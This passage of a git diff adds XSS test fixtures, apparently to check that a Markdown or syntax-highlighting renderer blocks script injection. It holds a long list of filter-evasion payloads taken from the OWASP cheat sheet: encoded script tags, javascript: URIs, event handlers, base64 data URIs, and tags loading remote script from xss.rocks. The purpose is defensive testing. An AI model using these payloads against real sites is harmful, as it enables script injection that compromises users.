+<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
+<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
+<XSS STYLE="xss:expression(alert('XSS'))">
+
+¼script¾alert(¢XSS¢)¼/script¾
+
+<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
+
+<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
+<!--[if gte IE 4]>
+ <SCRIPT>alert('XSS');</SCRIPT>
+ <![endif]-->
+
+ <OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
+
+<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
+
+
+<HTML><BODY>
+<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
+<?import namespace="t" implementation="#default#time2">
+<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
+</BODY></HTML>
+
+ <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
+
+<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
+<script>alert("xss");</script>
+%3Cscript>alert("xss");</script>
+&ltscript>alert("xss");</script>
+&lt;script>alert("xss");</script>
+&LTscript>alert("xss");</script>
+&LT;script>alert("xss");</script>
+&#60script>alert("xss");</script>
+&#060script>alert("xss");</script>
+&#0060script>alert("xss");</script>
+&#00060script>alert("xss");</script>
+&#000060script>alert("xss");</script>
+&#0000060script>alert("xss");</script>
+&#60;script>alert("xss");</script>
+&#060;script>alert("xss");</script>
+&#0060;script>alert("xss");</script>
+&#00060;script>alert("xss");</script>
+&#000060;script>alert("xss");</script>
+&#0000060;script>alert("xss");</script>
+&#x3cscript>alert("xss");</script>
+&#x03cscript>alert("xss");</script>
+&#x003cscript>alert("xss");</script>
+&#x0003cscript>alert("xss");</script>
+&#x00003cscript>alert("xss");</script>
+&#x000003cscript>alert("xss");</script>
+&#x3c;script>alert("xss");</script>
+&#x03c;script>alert("xss");</script>
+&#x003c;script>alert("xss");</script>
+&#x0003c;script>alert("xss");</script>
+&#x00003c;script>alert("xss");</script>
+&#x000003c;script>alert("xss");</script>
+&#X3cscript>alert("xss");</script>
+&#X03cscript>alert("xss");</script>
+&#X003cscript>alert("xss");</script>
+&#X0003cscript>alert("xss");</script>
+&#X00003cscript>alert("xss");</script>
+&#X000003cscript>alert("xss");</script>
+&#X3c;script>alert("xss");</script>
+&#X03c;script>alert("xss");</script>
+&#X003c;script>alert("xss");</script>
+&#X0003c;script>alert("xss");</script>
+&#X00003c;script>alert("xss");</script>
+&#X000003c;script>alert("xss");</script>
+&#x3Cscript>alert("xss");</script>
+&#x03Cscript>alert("xss");</script>
+&#x003Cscript>alert("xss");</script>
+&#x0003Cscript>alert("xss");</script>
+&#x00003Cscript>alert("xss");</script>
+&#x000003Cscript>alert("xss");</script>
+&#x3C;script>alert("xss");</script>
+&#x03C;script>alert("xss");</script>
+&#x003C;script>alert("xss");</script>
+&#x0003C;script>alert("xss");</script>
+&#x00003C;script>alert("xss");</script>
+&#x000003C;script>alert("xss");</script>
+&#X3Cscript>alert("xss");</script>
+&#X03Cscript>alert("xss");</script>
+&#X003Cscript>alert("xss");</script>
+&#X0003Cscript>alert("xss");</script>
+&#X00003Cscript>alert("xss");</script>
+&#X000003Cscript>alert("xss");</script>
+&#X3C;script>alert("xss");</script>
+&#X03C;script>alert("xss");</script>
+&#X003C;script>alert("xss");</script>
+&#X0003C;script>alert("xss");</script>
+&#X00003C;script>alert("xss");</script>
+&#X000003C;script>alert("xss");</script>
+\x3cscript>alert("xss");</script>
+\x3Cscript>alert("xss");</script>
+\u003cscript>alert("xss");</script>
+\u003Cscript>alert("xss");</script>
+
diff --git a/xss/xss.c b/xss/xss.c
new file mode 100644
index 0000000..e70e1b4
--- /dev/null
+++ b/xss/xss.c
@@ -0,0 +1,170 @@
+## XSS testing
+
+The pages in this dir try to smuggle script execution into the stuff
+rendered in your browser in various ways.
+
+Unfortunately there are a LOT of ways modern browsers will let you do
+that.  Here we try a bunch of them and see if we are successful in
+defeating them.  The attack methods came from
+
+https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
+
+You should not get any alert popups on this page.
+
+This page is checking highlight.js rendering for C.
+
+<<<
+
+https://" onmouseover="<script>alert('xss/README.md: onmouseover in anonymous link')</script>"
+<script>alert("xss/README.md: trivial script");</script>
+
+x <a name="n"
+href="javascript:alert('xss/README.md: js in a href')">click me</a>
+
+## <script>alert("xss/README.md: trivial script in header");</script>
+## javascript:alert('xss/README.md: js: in header')
+
+javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
+<IMG SRC="javascript:alert('XSS');">
+<IMG SRC=javascript:alert('XSS')>
+<IMG SRC=JaVaScRiPt:alert('XSS')>
+<IMG SRC=javascript:alert(&quot;XSS&quot;)>
+<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
+<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
+<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
+<IMG SRC=# onmouseover="alert('xxs')">
+<IMG SRC= onmouseover="alert('xxs')">
+<IMG onmouseover="alert('xxs')">
+<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
+<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
+<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
+&#39;&#88;&#83;&#83;&#39;&#41;>
+<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
+#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
+<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
+<IMG SRC="jav	ascript:alert('XSS');">
+<IMG SRC="jav&#x09;ascript:alert('XSS');">
+<IMG SRC="jav&#x0A;ascript:alert('XSS');">
+<IMG SRC="jav&#x0D;ascript:alert('XSS');">
+<IMG SRC=" &#14;  javascript:alert('XSS');">
+<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
+<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
+<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>
+<<SCRIPT>alert("XSS");//<</SCRIPT>
+<SCRIPT SRC=http://xss.rocks/xss.js?< B >
+<SCRIPT SRC=//xss.rocks/.j>
+<IMG SRC="javascript:alert('XSS')"
+<iframe src=http://xss.rocks/scriptlet.html <
+\";alert('XSS');//
+</script><script>alert('XSS');</script>
+<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
+<BODY BACKGROUND="javascript:alert('XSS')">
+<IMG DYNSRC="javascript:alert('XSS')">
+<IMG LOWSRC="javascript:alert('XSS')">
+<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
+<IMG SRC='vbscript:msgbox("XSS")'>
+<svg/onload=alert('XSS')>
+Set.constructor`alert\x28document.domain\x29```
+
+<BODY ONLOAD=alert('XSS')>
+
+<BGSOUND SRC="javascript:alert('XSS');">
+<BR SIZE="&{alert('XSS')}">
+<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
+<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
+<XSS STYLE="xss:expression(alert('XSS'))">
+
+¼script¾alert(¢XSS¢)¼/script¾
+
+<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
+
+<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
+<!--[if gte IE 4]>
+ <SCRIPT>alert('XSS');</SCRIPT>
+ <![endif]-->
+
+ <OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
+
+<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
+
+
+<HTML><BODY>
+<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
+<?import namespace="t" implementation="#default#time2">
+<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
+</BODY></HTML>
+
+ <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
+
+<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
+<script>alert("xss");</script>
+%3Cscript>alert("xss");</script>
+&ltscript>alert("xss");</script>
+&lt;script>alert("xss");</script>
+&LTscript>alert("xss");</script>
+&LT;script>alert("xss");</script>
+&#60script>alert("xss");</script>
+&#060script>alert("xss");</script>
+&#0060script>alert("xss");</script>
+&#00060script>alert("xss");</script>
+&#000060script>alert("xss");</script>
+&#0000060script>alert("xss");</script>
+&#60;script>alert("xss");</script>
+&#060;script>alert("xss");</script>
+&#0060;script>alert("xss");</script>
+&#00060;script>alert("xss");</script>
+&#000060;script>alert("xss");</script>
+&#0000060;script>alert("xss");</script>
+&#x3cscript>alert("xss");</script>
+&#x03cscript>alert("xss");</script>
+&#x003cscript>alert("xss");</script>
+&#x0003cscript>alert("xss");</script>
+&#x00003cscript>alert("xss");</script>
+&#x000003cscript>alert("xss");</script>
+&#x3c;script>alert("xss");</script>
+&#x03c;script>alert("xss");</script>
+&#x003c;script>alert("xss");</script>
+&#x0003c;script>alert("xss");</script>
+&#x00003c;script>alert("xss");</script>
+&#x000003c;script>alert("xss");</script>
+&#X3cscript>alert("xss");</script>
+&#X03cscript>alert("xss");</script>
+&#X003cscript>alert("xss");</script>
+&#X0003cscript>alert("xss");</script>
+&#X00003cscript>alert("xss");</script>
+&#X000003cscript>alert("xss");</script>
+&#X3c;script>alert("xss");</script>
+&#X03c;script>alert("xss");</script>
+&#X003c;script>alert("xss");</script>
+&#X0003c;script>alert("xss");</script>
+&#X00003c;script>alert("xss");</script>
+&#X000003c;script>alert("xss");</script>
+&#x3Cscript>alert("xss");</script>
+&#x03Cscript>alert("xss");</script>
+&#x003Cscript>alert("xss");</script>
+&#x0003Cscript>alert("xss");</script>
+&#x00003Cscript>alert("xss");</script>
+&#x000003Cscript>alert("xss");</script>
+&#x3C;script>alert("xss");</script>
+&#x03C;script>alert("xss");</script>
+&#x003C;script>alert("xss");</script>
+&#x0003C;script>alert("xss");</script>
+&#x00003C;script>alert("xss");</script>
+&#x000003C;script>alert("xss");</script>
+&#X3Cscript>alert("xss");</script>
+&#X03Cscript>alert("xss");</script>
+&#X003Cscript>alert("xss");</script>
+&#X0003Cscript>alert("xss");</script>
+&#X00003Cscript>alert("xss");</script>
+&#X000003Cscript>alert("xss");</script>
+&#X3C;script>alert("xss");</script>
+&#X03C;script>alert("xss");</script>
+&#X003C;script>alert("xss");</script>
+&#X0003C;script>alert("xss");</script>
+&#X00003C;script>alert("xss");</script>
+&#X000003C;script>alert("xss");</script>
+\x3cscript>alert("xss");</script>
+\x3Cscript>alert("xss");</script>
+\u003cscript>alert("xss");</script>
+\u003Cscript>alert("xss");</script>
+